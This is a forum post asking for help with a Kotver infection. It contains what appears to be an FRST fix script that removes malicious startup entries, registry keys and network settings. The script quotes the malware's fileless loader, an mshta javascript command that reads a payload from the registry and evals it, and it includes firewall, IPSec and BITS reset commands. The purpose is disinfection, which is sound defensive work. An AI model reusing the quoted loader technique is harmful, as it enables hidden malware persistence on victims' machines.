Kotver Virus on my system. Please Help. Thanks!

Start
CreateRestorePoint:
CloseProcesses:
HKLM-x32\...\Run: [QuickTime Task] => C:\Program Files (x86)\QuickTime\QTTask.exe [421888 2014-10-02] (Apple Inc.)
C:\Program Files (x86)\QuickTime
HKU\S-1-5-21-3208169228-2576829584-265362678-1001\...\Run: [**modizj<*>] => "C:\Users\heath\AppData\Local\4fb84f\72c6d6.lnk" <===== ATTENTION (Value Name with invalid characters)
Startup: C:\Users\heath\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0190d4.lnk [2016-09-21]
Startup: C:\Users\heath\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0c443d.lnk [2016-10-19]
Startup: C:\Users\heath\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a357a6.lnk [2016-10-11]
SearchScopes: HKLM -> {A06BFE1B-C70D-447B-A718-50A972660B5A} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKLM-x32 -> {A06BFE1B-C70D-447B-A718-50A972660B5A} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKU\S-1-5-21-3208169228-2576829584-265362678-1001 -> {A06BFE1B-C70D-447B-A718-50A972660B5A} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
CHR Extension: (Google Slides) - C:\Users\heath\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2016-09-08]
CHR Extension: (Google Drive) - C:\Users\heath\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-09-08]
CHR Extension: (Chrome Web Store Payments) - C:\Users\heath\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2016-09-08]
2016-10-15 22:40 - 2016-10-15 22:40 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\QuickTime
2016-10-15 22:39 - 2016-10-15 22:40 - 00000000 ____D C:\Program Files (x86)\QuickTime
2016-09-21 18:46 - 2016-10-15 18:57 - 00000000 ____D C:\Users\heath\AppData\Local\4fb84f
2016-09-21 18:46 - 2016-09-21 18:46 - 00000000 ____D C:\Users\heath\AppData\Roaming\47f0bb
2016-10-11 13:29 - 2016-09-07 22:44 - 00000000 ____D C:\Users\heath\AppData\Local\3fb656
Shortcut: C:\Users\heath\AppData\Local\4fb84f\72c6d6.lnk -> C:\Users\heath\AppData\Local\4fb84f\c7defb.bat ()
HKU\S-1-5-21-3208169228-2576829584-265362678-1001\Software\Classes\e2747d: "C:\WINDOWS\system32\mshta.exe" "javascript:mdRq0Ktn5="17";d84c=new ActiveXObject("WScript.Shell");JC0yUv="OnlLlZEQ";Ts69HT=d84c.RegRead("HKCU\\software\\wpzp\\zoiz");qq4OCE4="dl3Q";eval(Ts69HT);WCug0b0="SSGXjx";" <===== ATTENTION
DeleteKey: HKCU\\software\\wpzp
cmd: ipconfig /flushdns
cmd: netsh advfirewall reset
cmd: netsh advfirewall set allprofiles state on
Reg: reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
Reg: reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
CMD: bitsadmin /reset /allusers
RemoveProxy:
EmptyTemp:
Reboot:
end